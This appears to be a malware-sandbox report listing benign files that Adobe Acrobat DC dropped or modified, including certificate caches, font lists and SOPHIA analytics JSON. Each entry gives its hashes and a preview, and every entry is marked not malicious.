SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklIdMq+kNttfllXlE/HT8kthvNNX8RolJuRdxLlGB9lQRYwpDdt:kKRdVbPeT8SVNMa8RdWBwRd
MD5:	0FBBAE05DC3FCE1960CA879EDCD416D5
SHA1:	2D5418201E6B1AACB6E5C186883A7C6CD371AAB9
SHA-256:	ECF056CB821B7E74B5D535905DCB8F8EAA3C60E6C47F42F73BFBF8B6AD3CE89A
SHA-512:	0C70B820F528584E769A018A44E3F95C815CDD5F4E7C63FAB023E3B37BFC2FAEADC1AD278EBFB94D05C95CAB3B8F3B2003606F5090DE574BAB1339B7F7292CE5
Malicious:	false
Preview:	p...... ........;...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKaL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CiDnLNkPlE99SNxAhUe/3
MD5:	4FE3ACD8737FB61874A92AB5BF2C7320
SHA1:	6493EB41943E11B14FC5A53244A51D3862DC785B
SHA-256:	200841CC00B5D4DC7B439994B090E5709E1742C5C21C9728C14F3CECAD3A0E4C
SHA-512:	C858CD636516CE668394774E225CB526B4280300068E8B64DD1570C060686B41466A3F699DC2A0662BC29DDE9EC0CF25BB99A8805BAB1F6A68B5F096610EDCDC
Malicious:	false
Preview:	p...... ........S...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337033164637075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJM3g98kUwPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGMbLUkee9
MD5:	A335C5A9DEB4E3F5B2AC311031636D08
SHA1:	D9FF57CE658E145E4B0BC9DD763F56FC59D8A097
SHA-256:	54C2A39CED5737DD41D531EFF94DD75B5A0376C687252CF003FFDD0D82C98857
SHA-512:	E875A5821BD65C1F59FC9604F7E7C82CACA8241D5654C90AA429C2279D1E024EAA9F32E806C743049B86D9394941121E7BAD79130BF18826F8E7847EABB9B396
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274174846241178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfBoTfXpnrPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGWTfXcUkee9
MD5:	F7DC6E4319C404A7D308D995889B6066
SHA1:	0DD4508D463A104F88DEFAA70212D666D868F76B
SHA-256:	B824E5C54E7B4896C58A345B694361F852FC432683B0276F5DB73BCC26143224
SHA-512:	6A3F963FB810F4FE04069835ECF7633341ADE7867288E776C827B9D6F09AE9D74090DC518D36C59A69EF2A5A8F8BE628C3C2044C9D3A7B7C0A6DF68521D4AF6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.253169881636254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfBD2G6UpnrPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGR22cUkee9
MD5:	1C794FF7BD7E03E4C31EE72982533A22
SHA1:	C93FD8B81A3152EF9B8102B010323367E23F5A08
SHA-256:	87A36AA671753801C916B5452B4C04C7199B547D3986D2E78D8A8960D731686E
SHA-512:	63EC9F550FC22FABDBF491CB9EFD3A29D630C8C960DAC1682FB201632115FB4696E140F3AB88087C810B116721C1DDC2BAECAA82915984332023119D0BA1BA31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313057843754997
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfPmwrPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGH56Ukee9
MD5:	F84B689FD6E0EBFEC087CA2A416F7F2C
SHA1:	CECC601E4D21F38141B6E7A6C5CF558A862ED652
SHA-256:	233787719CDBC51FC1A1450B9766E79F5D27553A4760275C6DABE09799808218
SHA-512:	F1A543DBE56E3A75A56A3A2E01C7FF258FB29406546E6E0FAD6A6A1555BB288313999EF5F8384E8339FAE606E80AD4C5A656FEE33250BA6B26365D2DB7CAA109
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6892095475477795
Encrypted:	false
SSDEEP:	24:Yv6XT0FJhipLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:Yvg0FJhihgy6SAFv5Ah8cv/O
MD5:	95056F3FD1AB8402FF9673149D300BFC
SHA1:	F78256E3D66F246BFEA0CEC750F17B0DB649146D
SHA-256:	BC99EF25C094E5E913F9E2F2865FBD7781737BCD27AA4289882BE0DB483E571D
SHA-512:	DB02CAA1454560F968EAB20F735E0E5E4B863A41C5BCF3A44723220F5D3F513D7E1A9A2550B82B599938DDC8D9507A26C0C7430B788F2BA3A68E612F7E3CDA31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259661334918987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJf8dPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGU8Ukee9
MD5:	2732E7FCDE07D9E350C92EFF0D7EF2E6
SHA1:	A398CD1C61425B34707E84AEDB4D3EBB1ECC9162
SHA-256:	ACA577C91528216955AEB52ECE245B9ACC9E8AB661BFE7BD0F275DF79BEE2055
SHA-512:	7EB945B25E3DF10F03B85C2FB64693153EAC57EEC0141A5A2E03E3ACAC6A9BA124B1BD3A2A3AC4AC5573D29E27EB26B2EEC44876E30EC0CA13CDE7E0E07E75D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258754740900365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfQ1rPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGY16Ukee9
MD5:	3345830E6B70B1F34FFCCA88684D2C61
SHA1:	654E9FBDD80C1A69412735C3CB4BCC2E211B131B
SHA-256:	DB2509F1546B9D47EF1C2A16CDCEBFE9326995891469FBB7AD05D7519ED84B03
SHA-512:	BB1D32D6014BA0A780A2BAC14EC1938FE54A1951037B8A1F01C0717C8D1219417A10FDE17E09957014F006856895577660F6DE466B5583C8B7BA6131280942C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272792974143584
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfFldPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGz8Ukee9
MD5:	6640EC0989BF98E65FD9B856FF093AF2
SHA1:	D5C5CA711668D9FFB819DF00E47048B08EF6DF6B
SHA-256:	C5E1FEF55BE53BC1C9A635ACD360D1D41016229AB56B299EA8CB5BB0AD22F2A2
SHA-512:	47FC733B89CE149C3236E32002F79E1B00240578CDE828E67DA88B00D429841C9CD0009C96CBABBA2D525473520668AA0F93256C1B76C9430F3828C1D1C18A58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287739733846205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfzdPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGb8Ukee9
MD5:	FE2B64218814CA7012D9EEC7E9F1B678
SHA1:	80051130B24830334981CE0649F195FD0034AF52
SHA-256:	80DAC401370A309E1B456CACCC8617D020A85869204B465D1955F67033B80836
SHA-512:	1A4149332B0D21451DBCDAA73646F2DB2B3D0DFDC533805E9B52DFF03F417B089ED4E4BA09944AF5CF34017049A6F63A6E73E656774D7ECCE93A1BCC01069317
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7266819-6404-4bdd-a51e-86acb723ad47","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736712618683,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268004402856316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJdw22GATpvB3/dVlPIHAR0YdUoAvJfYdPeUkwRe9:YvXKXTw2hATpvR/ZwHAxGg8Ukee9
